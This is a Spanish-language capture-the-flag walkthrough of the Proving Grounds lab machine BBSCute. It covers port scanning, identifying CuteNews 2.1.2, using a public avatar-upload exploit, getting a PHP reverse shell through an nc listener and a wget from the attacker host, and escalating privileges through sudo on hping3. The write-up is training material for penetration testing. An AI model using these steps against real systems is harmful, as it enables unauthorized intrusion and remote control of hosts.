> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/bbscute.md).

# BBSCute

Write-up de la máquina BBSCute de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBNJPpIgEsJ8I4BwG5zEX%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(7).png?alt=media&amp;token=07436f08-007d-4fc6-9a35-0057029639ba" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios disponibles

Comenzamos la resolución de este CTF enumerando los servicios que tiene disponibles.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.128
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBWEsAWMFCOHEf67VhxW3%2Fimage.png?alt=media&amp;token=c2e6624f-1852-4856-9cd5-3647f64cfa9e" alt=""><figcaption></figcaption></figure>

5 puertos abiertos (22,80,88,110,995). Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80,88,110,995 -Pn -n -sVC -vvv 192.168.147.128
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrtT6OP82rMAjUXI8BlpR%2Fimage.png?alt=media&amp;token=b13d30b2-e6ab-42b2-be2b-d803dd7b4811" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfVMpEUlLbSEiBLreFKk4%2Fimage.png?alt=media&amp;token=71dd0bc2-5071-42cc-9749-e75eb65dc9da" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4cjor9NmOwGfaR1KDwPU%2Fimage.png?alt=media&amp;token=4654490e-5cb5-4708-bda3-72aa95bac822" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKlxDdJj1sNGHNSdTLkWl%2Fimage.png?alt=media&amp;token=142b0b88-bbe4-4371-b1e0-b1cfdcf56b1b" alt=""><figcaption></figcaption></figure>

Servicios disponibles:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 88 -> HTTP -> nginx 1.14.2
* Puerto 110 -> POP3
* Puerto 995 -> POP3

#### Enumeración Web

Comenzamos enumerando el contenido del servicio Web ejecutado en el puerto 80.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRT9pxq31ab3EVPXRviEu%2Fimage.png?alt=media&amp;token=d84f58da-5b69-4ee3-a8c8-0c67176fc261" alt=""><figcaption></figcaption></figure>

Vemos una página por defecto de un servidor Apache. Vamos ahora a enumerar los directorios y archivos interesantes en buscar de posibles puntos vulnerables.&#x20;

```
dirsearch -u "192.168.147.128" -i200,301 -t 30
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fed70W5aJy48XUQXmxRuV%2Fimage.png?alt=media&amp;token=53937856-a146-4f9b-86a7-796b7804c0e9" alt=""><figcaption></figcaption></figure>

Abrimos el archivo /LICENSE.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F98W0ReVnkcp2vQuI8jF7%2Fimage.png?alt=media&amp;token=f11b3a46-b372-4ae9-bcb7-c4747fceaa07" alt=""><figcaption></figcaption></figure>

Parece que se está ejecutando el CMS "Cute" en el servidor Web pero no vemos que versión.

El siguiente archivo interesante, /index.php

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXnXb6TOk4coY8G2TX7Oq%2Fimage.png?alt=media&amp;token=e7efe1bd-7279-46e7-91f7-3621656c9f8e" alt=""><figcaption></figcaption></figure>

Vemos un formulario de inicio de sesión y la confirmación de la información obtenida anteriormente además de la versión ejecutada.&#x20;

### Explotación

Sabiendo que se está ejecutando el CMS "CuteNews" en su versión 2.1.2, vamos a buscar si existe algún exploit para este CMS.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FA6YShQWYrheDYl0wwunu%2Fimage.png?alt=media&amp;token=32b30fb8-c228-4d09-a6c7-107b7784fddb" alt=""><figcaption></figcaption></figure>

Vamos a descargar este exploit para ver como se ejecuta.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2yGqtRDsTzOsIEaBc4ab%2Fimage.png?alt=media&amp;token=9edebfc8-47a0-4ff4-b33f-b5eb53c6f1ce" alt=""><figcaption></figcaption></figure>

Este exploit aprovecha una vulnerabilidad de carga de archivos en la carga de imágenes de avatar.&#x20;

El exploit no funciona de inmediato. La razón es que no estamos situados en /CuteNews, estamos sentados en el directorio raíz. Debemos bsucar y reemplazar las referencias de /CuteNews, entonces este exploit funcionará.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWXW4PFZSYPq2mwByjVEw%2Fimage.png?alt=media&amp;token=5e7c0694-ae6b-4fbd-bfe2-c55a19ed8641" alt=""><figcaption></figcaption></figure>

Una vez hemos realizado las modificaciones en el exploit, ejecutamos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVuuZSNrGvhPKLAu0MEoU%2Fimage.png?alt=media&amp;token=1ac8a099-1356-4580-b146-a3c0b4c1c8e9" alt=""><figcaption></figcaption></figure>

Tenemos conexión con la máquina objetivo aunque no una shell como tal. Para ello, vamos a cargar una reverse shell en el sistema objetivo de la siguiente manera:

* Preparamos un archivo "php-reverse-shell.php" con nuestra IP y puerto de escucha.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlzNWkWAsXx28OMOEV4DW%2Fimage.png?alt=media&amp;token=72209ab9-8fba-4994-9f3a-3da5ff8dde6a" alt=""><figcaption></figcaption></figure>

* Ponemos un oyente nc a la escucha en el puerto 1234.

```
nc -lnvp 1234
```

* Habilitamos un servidor HTTP con Python para enviar este archivo a la máquina víctima

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

* Abrimos el archivo en el navegador Web, y ya tendremos conexión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FGHRKjYeZmqHBRwDttOt6%2Fimage.png?alt=media&amp;token=9eb081dd-d03d-4ba6-9647-f74a6160408a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9vpLaud36pPbP5mEbupn%2Fimage.png?alt=media&amp;token=569996bf-8597-47d8-a538-d449a4927a7c" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty:

```
 python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlAxxIvvqPrXYLdDdBmN6%2Fimage.png?alt=media&amp;token=4ffee26a-c1ed-45ad-b8fe-c8aedd247a16" alt=""><figcaption></figcaption></figure>

El siguiente paso, buscar la flag de privilegios bajos, local.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKwS8dj4gBdXWsbK5KkQE%2Fimage.png?alt=media&amp;token=f0920976-8f93-4b56-9541-5ed6e73ff5f1" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a comprobar los privilegios de sudo de nuestro usuario:

```
sudo -l
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMdtMTowMPDThehQlNfA5%2Fimage.png?alt=media&amp;token=e4b7419c-2a8f-4741-9272-1041b2897977" alt=""><figcaption></figcaption></figure>

Se permite  escalar desde hping3.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FE1x1jgpey8M8KkltQYOS%2Fimage.png?alt=media&amp;token=b1abecb5-8d9a-40dc-96a6-74a259703ac7" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fsxdxbj0mjtGfEbyDwP90%2Fimage.png?alt=media&amp;token=c12ea2bd-d3a3-4ff3-9f78-d86c195e8a0c" alt=""><figcaption></figcaption></figure>

Y ya estaría la máquina "BBSCute" resuelta y terminada.&#x20;

{% embed url="<https://www.youtube.com/watch?v=KvOLHb_pO5c>" %}
